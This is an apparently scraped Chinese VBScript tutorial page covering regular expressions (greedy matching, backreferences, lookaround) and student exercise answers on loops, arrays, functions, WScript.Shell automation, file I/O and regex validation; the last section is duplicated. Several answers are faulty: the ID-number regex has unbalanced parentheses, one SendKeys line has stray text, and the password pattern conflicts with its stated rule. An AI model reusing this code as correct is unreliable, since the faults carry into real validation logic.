    re.Pattern = "(a)(\w+)"	'试试(a)(\w+)(a)
    str = "abcabca"		'试试abcabcabc
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    

    贪婪与非贪婪匹配(2)

    •非贪婪:尽可能少的匹配

    在限定匹配次数的元字符后加上一个”?”

    字符串 表达式 匹配结果 说明
    abcabca (a)(\w+?) ab 其中的(\w+?)只会匹配a后的b
    abcabca (a)(\w+?)(a) abca 为了让后面的(a)匹配,其中的(\w+) 将匹配第一个a后面的bc
    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
    re.Pattern = "(a)(\w+?)"	'试试(a)(\w+?)(a)
    str = "abcabca"			'试试abaabaa
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    

    反向引用

    •表达式中小括号 () 中包含的子表达式的匹配结果会被记录下来

    •利用\n可以引用前面第n个子表达式的匹配结果

    •子表达式的序号n以表达式中左括号” (” 的顺序排列

    •\1,表示匹配下一个值与第一个子表达式相同的字符

    字符串              表达式            匹配结果
    aaa,#bbb#        ([ab])(\1)       第一次匹配aa
                                      第二次匹配bb
    
    *hello*,#world#  (\*|#)(.*?)(\1)  第一次匹配*hello*
                                      第二次匹配#world#
    
    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
    re.Pattern = "([ab])(\1)"	
    str = "aaa,#bbb#"		'试试aba,#bab#
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    
    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
    re.Pattern = "(\*|#)(.*?)(\1)"	'试试去掉?,设成贪婪匹配
    str = "*hello*,#world#"		'试试*hello*,#world*
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    

    非捕获元字符

    字符 描述
    (?😃 不缓存所在的子表达式
    (?=) 匹配的右侧必须满足?=后的模式
    (?!) 匹配的右侧必须不满足?=后的模式
    (?<=) 匹配的左侧必须满足?<=后的模式
    (?<!) 匹配的左侧必须不满足?<=后的模式

    预搜索

    •预搜索不作匹配,是一种限定条件

    •(?:pattern)

    –匹配pattern但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用或字符“ (|)”来组合一个模式的各个部分是很有用。

    –例如“industr(?:y|ies)”就是一个比“industry|industries”更简略的表达式。

    正向预搜索

    •(?=pattern)

    –正向肯定预查,在任何匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,“Windows(?=95|98|NT|2000)”能匹配“Windows2000”中的“Windows”,但不能匹配“Windows3.1”中的“Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。

    •**(?!**pattern)

    –正向否定预查,在任何不匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如“ Windows(?!95|98|NT|2000)”能匹配“ Windows3.1”中的“ Windows”,但不能匹配“ Windows2000”中的“ Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。

    •正向预搜索:

    –(?=xxx) 右侧必须匹配xxx对应的表达式

    –(?!xxx) 右侧必须不匹配xxx对应的表达式

    字符串 表达式 结果
    windows98 windowsNT windows2000 Windows(?=NT|XP) windows NT中的windows
    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
    re.IgnoreCase = True
    re.Pattern = "Windows(?=NT|XP)"	'改成Windows(?!NT|XP)
    str = "windows98; windowsNT; windows2000"
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    

    反向预搜索

    •**(?<=**pattern)

    –反向肯定预查,与正向肯定预查类拟,只是方向相反。例如, “ (?<=95|98|NT|2000)Windows”能匹配“ 2000Windows”中的“ Windows”,但不能匹配“ 3.1Windows”中的“ Windows”。

    •(?pattern)

    –反向否定预查,与正向否定预查类拟,只是方向相反。例如

    “(?<!95|98|NT|2000)Windows”能匹配

    “ 3.1Windows”中的“ Windows”,但不能匹配

    “ 2000Windows”中的“ Windows”。

    •反向预搜索:

    –(?<=xxxxx) 左侧侧必须匹配xxx对应的表达式

    –(?<!xxxxx) 左侧必须不匹配xxx对应的表达式

    •例:

    –\b\w+(?=ing\b)

    •The beginning of words ending with ‘ing’

    –(?<=\bre)\w+\b

    •The end of words starting with ‘re’

    •匹配以re开头的单词的后半部分(除了re以外的部分),例如在查找reading a book时,它匹配ading。

    Dim re, str, mtch
    Set re = New RegExp
    re.Global = True
    re.IgnoreCase = True
    re.Pattern = "\b\w+(?=ing\b)"		
    str = "The beginning of words ending with 'ing'."
    
    Set colMatches = re.Execute(str)
    
    msgbox colMatches.count
    For each mtch in colMatches
        msgbox mtch.value
    Next
    

    课后习题

    1、写一段程序输出你的专业,要求输入框inputbox()带有两个参数,输出框msgbox()带三个参数。

    dim a
    a=inputbox("输入专业名","专业")
    msgbox a,0,"专业为:"
    

    2、写一段程序进行3次输入,分别输入你的学号、姓名、班级,并分3次输出。

    dim a,b,c
    a=inputbox("学号:")
    msgbox a
    b=inputbox("姓名:")
    msgbox b
    c=inputbox("班级:")
    msgbox c
    
    

    3、编一个程序取得20 / 3 的余数。

    dim a
    a=20 mod 3
    msgbox a,,"a的余数为:"
    

    4、制作一个求长方体体积小程序,分别弹出三个输入框,分别输入长、宽、高,弹出对话框显示出体积。

    dim a,b,c,v
    a=int(inputbox("长:"))
    b=int(inputbox("宽:"))
    c=int(inputbox("高:"))
    v=a*b*c
    msgbox v,0,"体积为:"
    
    

    5、给定一个数,大于10而且小于20输出“正确”,否则输出“错误” 。

    dim a
    a=inputbox("输入一个数:")
    if a>10 and a<20 then
         msgbox "正确"
    else
         msgbox "错误"
    end if
    

    6、输入12或者15,输出“正确”,否则输出“错误”。

    dim a
    a=inputbox("输入一个数字:")
    a=int(a)
    if a=12 or a=15 then
          msgbox "正确"
    else
          msgbox "错误"
    end  if
    

    7、编一个程序, 计算圆形的面积, 半径由用户给出 (使用Inputbox), PI取值3.14159 。

    dim r,s
    const pi=3.14159
    r=inputbox("r=")
    s=pi*r^2
    msgbox(s)
    

    1、输出从1到100之间所有不能被3整除的数

    dim i,s
    for i=1 to 100
          if i mod 3<>0 then
          s=s&i&" "
          end if
    next
    msgbox s
    

    2、找出1-99之间是7的倍数或者个位数字是7或者十位数字是7的数字, 并输出这些数字,统计有多少个

    dim i,s,m
    m=0
    for i=1 to 99
          if i mod 7=0 or i mod 10=7 or i \10=7 then
          s=s&i&" "
          m=m+1
          end if
    next
    msgbox s,,"这些数字为:"
    msgbox m,,"个数为:"
    

    3、一个数如果恰好等于它的因子之和,这个数就称为“完数”。(因子:除去这个数本身正的约数),例如6=1+2+3。编程 找出1000以内的所有完数。

    dim i,j,s,m
    for i=2 to 999
         s=0
         for j=1 to i-1
             if i mod j=0 then
                s=s+j
             end if
         next
      if i=s then
         m=m&i&" "
      end if
    next
    msgbox m,,"1000以内所有的完数为:"
          
    

    4、水仙花数是指一个 n 位数 ( n≥3 ),它的每个位上的数字的 n 次幂之和等于它本身。(例如:1^3 + 5^3 + 3^3 = 153)

    提示:

    153 个位数为3 十位数为5 百位数为1

    236 个位数为6 十位数为3 百位数为2

    dim a,i,j,k,s
    for a=100 to 999
        i=a\100
        j=(a mod 100)\10
        k=a mod 10
        if i^3+j^3+k^3=a then
           s=s&a&" "
       end if
    next
    msgbox s,,"100到999之间所有的水仙花数为:" 
    
    

    5、在我国的数学经典著作“九章算术”中有这样一道题:百钱买百鸡, 公鸡5钱一只, 母鸡3钱一只, 小鸡1钱3只)求得是能有多少种办法买这些鸡. 如果看不懂的话我用大白话说说:有人要去买鸡, 用100块钱正好买了100只鸡, 价格如下:公:5,:3, 母:3, 小:1$ 3只, 让你求一共多少种卖法(公母小怎么搭配). 请用循环解决这个问题.

    提示:

    设公鸡数量为a,则a的范围为?

    设母鸡数量为b,则b的范围为?

    dim gj,mj,xj,s
    for gj=0 to 100
      for mj=0 to 100
          for xj=0 to 100
           if(gj+mj+xj=100 and 5*gj+3*mj+xj/3=100) then
              s=s&"公鸡:"&gj&"    母鸡:"&mj&"    小鸡:"&xj&vbCrlf
            end if
          next
       next   
    next
    msgbox s,,"所有的组合:"
    

    1.定义一个数组, 包含5个元素,都是随机整数(随便输入), 要求把他们按照从大到小的排序并输出。

    dim a(4),m,s,t
    for m=0 to 4
          s= inputbox ("请依次输入5个数,第"&(m+1)&"个:")
          a(m)=int(s)
    next
    for i=0 to 3
        for j=0 to 3-i
          if a(j+1)>a(j) then
                  t=a(j)
              a(j)=a(j+1)
                a(j+1)=t
          end if
        next
    next
    msgbox join(a,",")
    
    

    2.现有字符串“10\12\34\23\45\35\45”,根据字符“\”分割字符,计算各字符的总和。

    dim s,a,i,sum
    sum=0
    s="10\12\34\23\45\35\45"
    a=split(s,"\")
    for i=lbound(a) to ubound(a)
             sum=sum+a(i)
    next
    msgbox sum,," 各字符总和为:"
    

    3.读入10个数,输出偶数项及它们的和,输出奇数项及它们的平均数。

    dim m,s,a(9),s1,s2,i,j,sum1,sum2,avr
    sum1=0
    sum2=0
    j=0
    for m=0 to 9
          s= inputbox ("请依次输入10个数,第"&(m+1)&"个:")
          a(m)=int(s)
    next
    for i=0 to 9
          if a(i) mod 2=0 then
              s1=s1&a(i)&" "
              sum1=sum1+a(i)
          else
              s2=s2&a(i)&" "
              sum2=sum2+a(i)
              j=j+1
          end if
    next
    msgbox s1,,"偶数项为:"
    msgbox sum1,,"偶数项和为:"
    msgbox s2,,"奇数项为:"
    msgbox sum2/j,,"奇数项平均数为:"
    

    4.定义一个数组,读入10个数,请使用for each next输出它们的和及平均值。

    dim v,m,s,a(9),sum,avr
    sum=0
    for m=0 to 9
          s= inputbox ("请依次输入10个数,第"&(m+1)&"个:")
          a(m)=int(s)
    next
    for each v in a
          sum=sum+v
    next
    avr=sum/10
    msgbox sum&","&avr,,"他们的和与平均值分别为:"
    

    5.有两个二维数组a(4,4)和b(4,4) (元素值随便), 交换两个数组(原来的a的所有元素值变成b的, b的所有元素值变成a的)。

    dim a(4,4),b(4,4),i,j,s1,s2
    for m=0 to 4
         for n=0 to 4
               a(m,n)="a"&m&"-"&n
         next
    next
    for m=0 to 4
         for n=0 to 4
               b(m,n)="b"&m&"-"&n
         next
    next
    
    rem  转换:
    for i=0 to 4
        for j=0 to 4
             t=a(i,j)
             a(i,j)=b(i,j)
             b(i,j)=t
        next
    next
    
    rem 输出:
    for v1=0 to 4
        for v2=0 to 4
          str1=str1&a(v1,v2)&" "
        next
          str1=str1&vbcrlf
    next
    for v1=0 to 4
        for v2=0 to 4
          str2=str2&b(v1,v2)&" "
        next
          str2=str2&vbcrlf
    next
    msgbox str1,,"a转换后为:"
    msgbox str2,,"b转换后为:"
    

    1.采用函数,用户输入两个数, 输出最大值和最小值。

    dim a,b
    a=inputbox ("请输入2个数字:第一个")
    b=inputbox ("请输入2个数字:第二个") 
    function hh(a,b)
          if a>b then
               hh="最大值为:"&a&","&"最小值为:"&b
          else if a<>b then
               hh="最大值为:"&b&","&"最小值为:"&a
          else
                hh="两个数相等,无最大最小值"
          end if
          end if
    end function
    msgbox hh(a,b)
    

    2.采用函数,用户输入圆的半径, 输出圆的面积。

    dim r
    r=inputbox("请输入圆的半径:")
    const pi=3.14
    function s(r)
         s="该圆的面积为: "&pi*r^2
    end function
    msgbox s(r)
    

    3.采用过程,用户输入两个数, 输出最大值和最小值。

    dim a,b
    a=inputbox ("请输入2个数字:第一个")
    b=inputbox ("请输入2个数字:第二个") 
    sub hh(a,b)
          if a>b then
               msgbox "最大值为:"&a&","&"最小值为:"&b
          else if a<>b then
                msgbox "最大值为:"&b&","&"最小值为:"&a
          else
                msgbox "两个数相等,无最大最小值"
          end if
          end if
    end sub
    call hh(a,b)
    
    

    4.采用过程,用户输入圆的半径, 输出圆的面积。

    dim r
    const pi=3.1
    r=inputbox("请输入圆的半径:")
    sub s(r)
          msgbox "该圆的面积为: "&pi*r^2
    end sub
    call s(r)
    

    5.利用函数或者过程,判断用户输入的字符串长度是否大于10。

    dim s
    s=inputbox("请输入一串任何字符:")
    sub str(s)
          if len(s)>10 then
                msgbox "字符串长度大于10"
          else
                msgbox "字符串长度小于10"
          end if
    end sub
    call str(s)
    
    

    6.利用函数或者过程,统计用户输入字符串中数字的个数。

    dim s
    s=inputbox("请输入一串任何字符:")
    sub str(s)
          dim n,m,i
          i=0
          for n=1 to len(s)
                 m=mid(s,n,1)                         '从字符串中返回指定数目的字符,mid()函数
                 if asc(m)>=48 and asc(m)<=57 then    '返回与字符串的第一个字母对应的ANSI字符代码,asc()函数
                        i=i+1
                  end if
          next
          msgbox "数字个数为:"&i
    end sub
    call str(s)
    

    1.同时打开打开CMD命令,记事本

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"cmd"
    a.run"notepad"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    2.先记事本,关闭之后再打开计算器

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"notepad",,true
    a.run"calc"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    3.打开Chrome浏览器

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"chrome.exe"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    
    

    4.利用VBS,创建文本文档D:/1.txt,里面内容如下:

    北京,

    on error resume next
    dim fs,t
    set fs=createobject("scripting.filesystemobject")
    set t=fs.createtextfile("d:/1.txt")
    t.write("北京")
    t.close
    set t=nothing
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    5.利用VBS,弹出输入框,在里面可输入姓名,创建文本文档D:/2.txt,里面内容如下:

    欢迎(输入框里的姓名)!

    on error resume next
    
    dim fs,t,h
    set fs=createobject("scripting.filesystemobject")
    set t=fs.createtextfile("d:/2.txt")
    h=inputbox("请输入姓名:")
    t.write("欢迎"&h&"!")
    t.close
    set t=nothing
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    6.利用VBS,将前面两道题的文本文档里面的内容合并如下:

    北京,欢迎(输入框的姓名)!

    on error resume next
    
    dim fs,t1,t2,str1,str2
    set fs=createobject("scripting.filesystemobject")
    set t1=fs.opentextfile("d:\1.txt",1)
    set t2=fs.opentextfile("d:\2.txt",1)
    str1=t1.readall
    str2=t2.readall
    msgbox(str1&","&str2)
    t1.close
    t2.close
    set t1=nothing
    set t2=nothing
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    7.打开记事本,模拟键盘输入下面两行:

    This is the most wonderful day of my life

    because I´m here with you now

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"notepad"
    wscript.sleep 3000
    a.sendkeys"^ "
    a.sendkeys"This is most wonderful day fo my life"
    a.sendkeys"{enter}"
    a.sendkeys"because I'm here with you now"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    8.使用VBS打开“CMD”命令,在C盘创建以你姓名拼音命名文件夹(md d:\zhagnsan)

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"cmd"
    wscript.sleep 3000
    a.sendkeys"md d:\yanli"
    a.sendkeys"{enter}"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    9.使用VBS打开记事本,在里面模拟输入你的相关信息,模板如下:

    姓名:张三

    学号:XXXX

    当前日期:date()

    当前时间:time()

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"notepad"
    wscript.sleep 1000
    a.sendkeys"^ "
    a.sendkeys"name:bakabaka"
    a.sendkeys"{enter}"
    a.sendkeys"number:20200630"
    a.sendkeys"{enter}"
    a.sendkeys"date:"
    a.sendkeys(date())
    a.sendkeys"{enter}"bakabaka
    a.sendkeys"time:"
    a.sendkeys(time())
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    
    
    

    10.打开Chrome浏览器,输入http://www.baidu.com,

    进入百度网站,搜索“VBScript”关键字

    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"""C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"""
    wscript.sleep 10000
    a.sendkeys"^ "
    a.sendkeys"http://www.baidu.com"
    wscript.sleep 3000
    a.sendkeys"{enter}"
    wscript.sleep 3000
    a.sendkeys"VBScript"
    wscript.sleep 3000
    a.sendkeys"{enter}"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    1、使用VBS正则表达式,在下面字符串中,搜索并显示每一个手机号码:

    “NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368”

    dim str,matchs,reg
    str="NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368"
    set reg=new regexp
    reg.pattern="1[358][0-9]{9}"
    reg.global=true
    set matchs=reg.execute(str)
    for i=0 to matchs.count-1
          msgbox matchs.item(i)
    next
    

    2、使用VBS正则表达式,在下面字符串中,搜索并替换每一个人的年龄为“age”:

    “NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368”

    dim str,matchs,reg
    str="NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368"
    set reg=new regexp
    reg.pattern="[0-9][0-9](?=;[\u4e00-\u9fa5];)"
    reg.global=true
    msgbox reg.replace(str,"age")
    

    3、使用VBS正则表达式,验证用户输入的用户名是否满足“可以包含数字、字母、下划线,且第一个字符为字母,长度为6-20位”的格式要求。

    dim str,matchs,reg
    str=inputbox("请输入用户名:")
    set reg=new regexp
    reg.pattern="^[A-Za-z][\da-zA-Z_]{5,19}$"
    msgbox reg.test(str)
    

    4、使用VBS正则表达式,验证用户输入的密码是否满足“必须包含大写,小写和数字,和特殊字符(!,@,#,%,&),且大于6位”的格式要求。

    dim str,matchs,reg
    str=inputbox("请输入密码:")
    set reg=new regexp
    reg.pattern="^(?:(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])(?=.*[!@#%&])).{6,12}$"
    msgbox reg.test(str)
    

    5、使用VBS正则表达式,验证用户输入的身份证号码是否符合规范。

    dim str,matchs,reg
    str=inputbox("请输入身份证号码:")
    set reg=new regexp
    reg.pattern="^[1-9][0-9]{14})|([1-9][0-9]{16}[0-9xX]$"
    msgbox reg.test(str)
    

    6、使用VBS正则表达式,验证用户输入的邮箱格式是否符合规范。

    dim str,matchs,reg
    str=inputbox("请输入邮箱:")
    set reg=new regexp
    reg.pattern="^[a-zA-Z0-9_]+@[1-9a-z]+(\.[a-z]{2,5})+$"
    msgbox reg.test(str)
    

    wscript.echo err.number&"–"&err.description&"–"&err.source
    end if

    
    10.打开Chrome浏览器,输入http://www.baidu.com,
    
    进入百度网站,搜索“VBScript”关键字
    
    ```vbscript
    on error resume next
    
    dim a
    set a=createobject("wscript.shell")
    a.run"""C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"""
    wscript.sleep 10000
    a.sendkeys"^ "
    a.sendkeys"http://www.baidu.com"
    wscript.sleep 3000
    a.sendkeys"{enter}"
    wscript.sleep 3000
    a.sendkeys"VBScript"
    wscript.sleep 3000
    a.sendkeys"{enter}"
    
    if err.number<>0 then
             wscript.echo err.number&"--"&err.description&"--"&err.source
    end if
    

    1、使用VBS正则表达式,在下面字符串中,搜索并显示每一个手机号码:

    “NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368”

    dim str,matchs,reg
    str="NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368"
    set reg=new regexp
    reg.pattern="1[358][0-9]{9}"
    reg.global=true
    set matchs=reg.execute(str)
    for i=0 to matchs.count-1
          msgbox matchs.item(i)
    next
    

    2、使用VBS正则表达式,在下面字符串中,搜索并替换每一个人的年龄为“age”:

    “NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368”

    dim str,matchs,reg
    str="NO1002028;妍静emor5;24;女;浙江;公务员;13507593654;NO1002024;之慕nlov5;40;女;四川;工人;13411652253;NO1002071;童书ores;27;女;天津;医务人员;13306512368"
    set reg=new regexp
    reg.pattern="[0-9][0-9](?=;[\u4e00-\u9fa5];)"
    reg.global=true
    msgbox reg.replace(str,"age")
    

    3、使用VBS正则表达式,验证用户输入的用户名是否满足“可以包含数字、字母、下划线,且第一个字符为字母,长度为6-20位”的格式要求。

    dim str,matchs,reg
    str=inputbox("请输入用户名:")
    set reg=new regexp
    reg.pattern="^[A-Za-z][\da-zA-Z_]{5,19}$"
    msgbox reg.test(str)
    

    4、使用VBS正则表达式,验证用户输入的密码是否满足“必须包含大写,小写和数字,和特殊字符(!,@,#,%,&),且大于6位”的格式要求。

    dim str,matchs,reg
    str=inputbox("请输入密码:")
    set reg=new regexp
    reg.pattern="^(?:(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])(?=.*[!@#%&])).{6,12}$"
    msgbox reg.test(str)
    

    5、使用VBS正则表达式,验证用户输入的身份证号码是否符合规范。

    dim str,matchs,reg
    str=inputbox("请输入身份证号码:")
    set reg=new regexp
    reg.pattern="^[1-9][0-9]{14})|([1-9][0-9]{16}[0-9xX]$"
    msgbox reg.test(str)
    

    6、使用VBS正则表达式,验证用户输入的邮箱格式是否符合规范。

    dim str,matchs,reg
    str=inputbox("请输入邮箱:")
    set reg=new regexp
    reg.pattern="^[a-zA-Z0-9_]+@[1-9a-z]+(\.[a-z]{2,5})+$"
    msgbox reg.test(str)
    

    1. ↩︎
    展开全文
  • 目录 VBScript变量 变量定义的修饰符 定义一个变量时可以暂时不用初始化 Option Explicit ...VBScript脚本中有哪些关键字 VBScript变量 变量定义的修饰符 dim/public/priv...
  • VBScript脚本语言学习的一个PPt课件
  • JavaScript/VBScript脚本程序一般有两种执行方式,一种是嵌入在宿主程序里面执行,比如在IE浏览器里面执行;另外一种,在资源管理器里面双击执行(虽然还是通过另外一个程序解释执行,但是给人的感觉毕竟是直接运行...
  • VBScript脚本运用(脚本程序与宿主程序的交互)
  • vbscript脚本语言.ppt

    2011-05-29 14:13:50
    VBScript脚本语言是一种介于HTML语言和Visual Basic(简称VB)高级语言之间的一种语言。VBScript直接来源于VB,是高级语言VB的一个子集。
  • 实验四-VBScript脚本病毒分析与清除

    千次阅读 2020-09-26 17:46:09
    【实验名称】 VBScript脚本病毒分析与清除 【实验目的】 1.了解VBScript如何实现文件、进程及注册表操作 2.了解VBScritp病毒的工作原理 3.了解VBScritp病毒的感染目标和感染方式 4.掌握编写VB脚本病毒专杀工具...
  • 使用VBScript 脚本 开机播放声音

    千次阅读 2018-10-15 22:27:57
    第一步写一个 VBScript 脚本 新建一个文本文档,将下面的代码复制到文本文档中,Ctrl+S保存 将文本文档的.txt 后缀 改为.vbs即可 最后,双击这个 vbs 文件 会发出声音 CreateObject(&quot;SAPI.SpVoice&...
  • vbscript脚本语言使用手册 轻松教会初学者使用vbscript语言的语法
  • javascript和vbscript脚本集,挺不错的,好好学习啊!
  • VBScript脚本语言就业培训教材 1.VB家族语言简介 2.VBScript 数据类型 3.VBScript 变量等等
  • JAVA、ANDROID、MAVEN环境设置VBScript脚本
  • WINCC-VBScript脚本实现画面跳转

    千次阅读 2020-01-17 11:26:21
    WINCC-VBScript脚本实现画面跳转 HMIRuntime.BaseScreenName =“画面名称” 功能 定义或返回当前基本图片。 字符串(写-读访问) 使用 HMIRuntime.BaseScreenName=(<Serverpräfix>::) HMIRuntime....
  • 功能描述:利用VBScript脚本创建csv/txt文件有时需要将PLC或运动控制器Simotion中的数据写到SD卡或U盘上。一种实现方法是,如果使用的是精致面板(comfort panel),可以使用vbscript生成脚本。软件 TIA Portal V14sp1...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,988
精华内容 1,595
关键字:

vbscript脚本